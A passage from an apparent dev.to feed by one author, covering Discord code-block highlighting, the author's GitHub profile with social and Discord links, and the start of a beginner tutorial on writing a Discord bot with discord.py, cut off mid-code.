&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--20REK5QR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yiz1fcjc3vc365dvajku.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--20REK5QR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yiz1fcjc3vc365dvajku.png" alt="cs" width="860" height="988"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Markdown (md)&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--0qnh-WBJ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hr27y809y21snsshgbrg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--0qnh-WBJ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hr27y809y21snsshgbrg.png" alt="md" width="880" height="728"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Diff (diff)&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--IZDXFeZb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/62gp65vzemf8ickqyyk9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--IZDXFeZb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/62gp65vzemf8ickqyyk9.png" alt="diff" width="880" height="790"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Javascript (js)&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Q85xqlTz--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qqu6subgrkljqycv2f3k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Q85xqlTz--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qqu6subgrkljqycv2f3k.png" alt="js" width="880" height="665"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Python (py)&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Z5AgwROj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ouocfg8ynvengvcaygep.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Z5AgwROj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ouocfg8ynvengvcaygep.png" alt="py" width="880" height="712"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Shell Session&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ZPPfHdr9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/eq1yn2p6ejujoyf8n9af.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ZPPfHdr9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/eq1yn2p6ejujoyf8n9af.png" alt="shell" width="880" height="674"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SQL&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--A5M8B4yr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hzjufymx2agsvuojgrhk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--A5M8B4yr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hzjufymx2agsvuojgrhk.png" alt="sql" width="880" height="543"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Java&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--H3oSZS0I--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ptn9ssfgt7s847mibvjs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--H3oSZS0I--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ptn9ssfgt7s847mibvjs.png" alt="java" width="880" height="710"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;JSON&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--VuXxuJMg--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z26ml4jeug7o3jlucsi2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--VuXxuJMg--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z26ml4jeug7o3jlucsi2.png" alt="json" width="880" height="680"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And you get the idea! Now you're a &lt;strong&gt;Discord text markdown expert&lt;/strong&gt;. Get out there and highlight your statements!&lt;/p&gt;
&lt;h2&gt;
  
  
  Acknowledgements
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://support.discordapp.com/hc/en-us/articles/210298617-Markdown-Text-101-Chat-Formatting-Bold-Italic-Underline-"&gt;Hammer and Chisel&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;a href="https://discord.gg/SkZTwPk"&gt;Discord Highlight.js&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Credits
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--566lAguM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Yuma-Tsushima07"&gt;
        Yuma-Tsushima07
      &lt;/a&gt; / &lt;a href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07"&gt;
        Yuma-Tsushima07
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      This is my readme file! 
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;h1&gt;
$ echo "Hello World!"&lt;/h1&gt;
&lt;p&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/2f0d0e6c410525a283cc7869d374b8197c0606286cffce4cb8e27d59e7be7961/68747470733a2f2f726561646d652d747970696e672d7376672e6865726f6b756170702e636f6d3f636f6c6f723d4637314630462663656e7465723d74727565267643656e7465723d74727565266c696e65733d492b616d2b616e2b4574686963616c2b4861636b65722e3b492b616d2b612b4469676974616c2b4172746973742e3b492b616d2b612b50726f6772616d6d65722e3b492b616d2b612b4354462b706c617965722e3b492b616d2b612b4d7573696369616e2e3b492b616d2b616e2b416e696d61746f722e"&gt;&lt;img src="https://camo.githubusercontent.com/2f0d0e6c410525a283cc7869d374b8197c0606286cffce4cb8e27d59e7be7961/68747470733a2f2f726561646d652d747970696e672d7376672e6865726f6b756170702e636f6d3f636f6c6f723d4637314630462663656e7465723d74727565267643656e7465723d74727565266c696e65733d492b616d2b616e2b4574686963616c2b4861636b65722e3b492b616d2b612b4469676974616c2b4172746973742e3b492b616d2b612b50726f6772616d6d65722e3b492b616d2b612b4354462b706c617965722e3b492b616d2b612b4d7573696369616e2e3b492b616d2b616e2b416e696d61746f722e"&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
  &lt;b&gt;Visitor count &lt;/b&gt;&lt;br&gt;
  &lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/57a70d5f50ac5d203e9b6bd912fc9e4b01c8d40c215b656821b455d1f18f928f/68747470733a2f2f70726f66696c652d636f756e7465722e676c697463682e6d652f59756d612d5473757368696d6130372f636f756e742e737667"&gt;&lt;img src="https://camo.githubusercontent.com/57a70d5f50ac5d203e9b6bd912fc9e4b01c8d40c215b656821b455d1f18f928f/68747470733a2f2f70726f66696c652d636f756e7465722e676c697463682e6d652f59756d612d5473757368696d6130372f636f756e742e737667"&gt;&lt;/a&gt;
       &lt;/p&gt;
&lt;h3&gt;
$ whoami 💻
&lt;/h3&gt;
&lt;div class="highlight highlight-source-shell position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;v37r1x@v37r1x:&lt;span class="pl-k"&gt;~&lt;/span&gt;$ whoami&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;I am Yuma (V37R1X) a 17 year old whom studies Chemistry, Mathematics and Information Communication Technology also does Ethical Hacking and Digital Artwork as a side task.&lt;/p&gt;
&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://user-images.githubusercontent.com/63207324/135754304-3ee4dd9c-7336-45d9-90f7-3676cb7848f5.png"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--glcUEAty--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/63207324/135754304-3ee4dd9c-7336-45d9-90f7-3676cb7848f5.png" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
$ cat learning.txt 📘
&lt;/h3&gt;
&lt;div class="highlight highlight-source-shell position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;v37r1x@v37r1x:&lt;span class="pl-k"&gt;~&lt;/span&gt;$ cat learning.txt
&lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;I love learning a lot of things! Knowledge is power!!&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/Yuma-Tsushima07/Readme/blob/main/assets/lelouch-chess.gif"&gt;&lt;img width="500" alt="GIF" src="https://res.cloudinary.com/practicaldev/image/fetch/s--GeESPwuN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://github.com/Yuma-Tsushima07/Readme/raw/main/assets/lelouch-chess.gif"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
What am I learning next?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
⭐ Bio Hacking&lt;/li&gt;
&lt;li&gt;
⭐ Bug Bounty&lt;/li&gt;
&lt;li&gt;
⭐ C#&lt;/li&gt;
&lt;li&gt;
⭐ Pentesting&lt;/li&gt;
&lt;/ul&gt;
&lt;br&gt;
&lt;br&gt;
&lt;h3&gt;
$ cat hobbies.txt 👨‍🎨
&lt;/h3&gt;
&lt;div class="highlight highlight-source-shell position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;v37r1x@v37r1x:&lt;span class="pl-k"&gt;~&lt;/span&gt;$ cat hobbies.txt
&lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;Having an endless list of hobbies is the key to unlock your potential!&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/Yuma-Tsushima07/Readme/blob/main/assets/lelouch-wink.gif"&gt;&lt;img width="500" alt="GIF" src="https://res.cloudinary.com/practicaldev/image/fetch/s--Urp_rRxE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://github.com/Yuma-Tsushima07/Readme/raw/main/assets/lelouch-wink.gif"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
Hobbies&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
🎨 Digital Artwork&lt;/li&gt;
&lt;li&gt;
👚 Sewing&lt;/li&gt;
&lt;li&gt;
✏️ Drawing&lt;/li&gt;
&lt;li&gt;
🎵 Making Music&lt;/li&gt;
&lt;/ul&gt;
&lt;br&gt;
&lt;br&gt;
&lt;h3&gt;
$ cat introduction.txt 🔎
&lt;/h3&gt;
&lt;div class="highlight highlight-source-shell position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;v37r1x@v37r1x:&lt;span class="pl-k"&gt;~&lt;/span&gt;$ cat introduction.txt
&lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;Hello, to everyone who does not know me, I am just an normal person who does crazy things.&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;I am just a regular person who came from the…&lt;/p&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;h3&gt;
  
  
  Follow me!
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Github: &lt;a href="https://github.com/Yuma-Tsushima07"&gt;https://github.com/Yuma-Tsushima07&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Medium: &lt;a href="https://0xv37r1x3r.medium.com/"&gt;https://0xv37r1x3r.medium.com/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;SoundCloud: &lt;a href="https://soundcloud.com/0c7av3h4ck5"&gt;https://soundcloud.com/0c7av3h4ck5&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Discord Servers!!
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Bounty Hunters&lt;/strong&gt;: An amazing bug hunting community full of developers and exploiters!!!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Link: &lt;a href="https://discord.gg/J5PsgKqdWq"&gt;https://discord.gg/J5PsgKqdWq&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;CyberArtByte&lt;/strong&gt;: My server full of bling and joy!!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Link: &lt;a href="https://discord.com/invite/mNAWykv67W"&gt;https://discord.com/invite/mNAWykv67W&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  New Soundcloud Track!!
&lt;/h3&gt;

&lt;p&gt;&lt;iframe width="100%" height="166" src="https://w.soundcloud.com/player/?url=https://soundcloud.com/0c7av3h4ck5/hack-with-your-heart-0c7av3h4ck5&amp;amp;auto_play=false&amp;amp;color=%23000000&amp;amp;hide_related=false&amp;amp;show_comments=true&amp;amp;show_user=true&amp;amp;show_reposts=false&amp;amp;show_teaser=true"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;Author: Yuma-Tsushima&lt;/p&gt;

</description>
      <category>languages</category>
      <category>markdown</category>
    </item>
    <item>
      <title>[Python] How to make Discord bot? (Beginner Friendly)</title>
      <dc:creator>Yuma-Tsushima </dc:creator>
      <pubDate>Sun, 27 Jun 2021 16:36:25 +0000</pubDate>
      <link>https://dev.to/yumatsushima07/python-how-to-make-discord-bot-beginner-friendly-3o3a</link>
      <guid>https://dev.to/yumatsushima07/python-how-to-make-discord-bot-beginner-friendly-3o3a</guid>
      <description>&lt;p&gt;Ever wanted to make a Discord Bot but failed or didn't understand how? Must have kept your heads scraching for a while! &lt;/p&gt;

&lt;p&gt;Never fear! I will guide you through on how to make a bot using python. &lt;/p&gt;

&lt;p&gt;Remember to install python and discord or use discord on your browser. &lt;/p&gt;

&lt;p&gt;Before you keep reading: give me a ✨ on my repo &amp;lt;3!&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--i3JOwpme--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/github-logo-ba8488d21cd8ee1fee097b8410db9deaa41d0ca30b004c0c63de0a479114156f.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Yuma-Tsushima07"&gt;
        Yuma-Tsushima07
      &lt;/a&gt; / &lt;a href="https://github.com/Yuma-Tsushima07/Python-Tutorial-Bot"&gt;
        Python-Tutorial-Bot
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;h1&gt;
Python-Tutorial-Bot&lt;/h1&gt;
&lt;/div&gt;



&lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Yuma-Tsushima07/Python-Tutorial-Bot"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What will you need?
&lt;/h3&gt;

&lt;p&gt;Firstly, before you start you will need an IDE or code editor! &lt;br&gt;
Use something like Visual Studio Code, Sublime Text or Atom. &lt;br&gt;
Then you once you have installed Discord or opened it.&lt;br&gt;
Make a server and make sure its organised so you know what you are doing. Use the Discord Developers Portal to make a bot. &lt;/p&gt;

&lt;p&gt;Since you’re learning how to make a Discord bot with Python, you’ll be using &lt;code&gt;discord.py&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Discord.py is a Python library that exhaustively implements Discord’s APIs in an efficient and Pythonic way. This includes utilizing Python’s implementation of Async IO.&lt;/p&gt;

&lt;p&gt;Use pip to install &lt;code&gt;discord.py&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;discord.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;or&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip3 &lt;span class="nb"&gt;install &lt;/span&gt;discord.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Now that you’ve installed discord.py, we will begin!&lt;/p&gt;
&lt;h2&gt;
  
  
  Coding the Bot
&lt;/h2&gt;

&lt;p&gt;Now, we can move on to the actual coding of the bot. Open up a new .py file in whatever IDE you prefer, and import the discord library.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;discord&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Next, we need to establish our Discord client. The bot client that is connecting to discord.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;discord&lt;/span&gt;
&lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;discord&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Client&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Now, this is where the fun begins. Within the discord.py library, there are certain events that the bot is able to respond to, including when a message is sent and when the bot is ready. Take this example:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;discord&lt;/span&gt;
&lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;discord&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Client&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;on_ready&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"The bot is ready!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Now, whenever the bot is ready for use after startup, it will print out &lt;code&gt;The bot is ready!&lt;/code&gt;. It runs anything that is in the function. Cool, right? We can use this to do other things, too, such as set a play status for the bot, as so:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;discord&lt;/span&gt;
&lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;discord&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Client&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;on_ready&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"The bot is ready!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;change_presence&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;game&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;discord&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Game&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"Making a    bot"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This may look a little bit confusing, but hear me out. We have to put “await” in front of it since it is a coroutine, which basically allows multi-tasking so the bot can respond to different events at the same time. Got it? So, when we call the &lt;code&gt;change_presence&lt;/code&gt;method on the Discord client, it changes the presence of the client to show that it is playing the game “Making a bot”, since we created a Game object with the name “Making a bot”.&lt;/p&gt;

&lt;p&gt;Next, we can get on to actually making bot commands. We detect if a message is sent with this function that takes the parameter “message”, which will be equal to the message that was sent. We don’t want the bot to be able to respond to itself in any circumstances, so if the author of the message is equal to the client, we stop the function.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;discord&lt;/span&gt;
&lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;discord&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Client&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;on_ready&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"The bot is ready!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;change_presence&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;game&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;discord&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Game&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"Making a    bot"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;on_message&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;author&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;We can make some commands that our bot can respond to now. For starters, we’ll make a really simple thing, so if we say “Hello” the bot will say “World” back.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;discord&lt;/span&gt;
&lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;discord&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Client&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;on_ready&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"The bot is ready!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
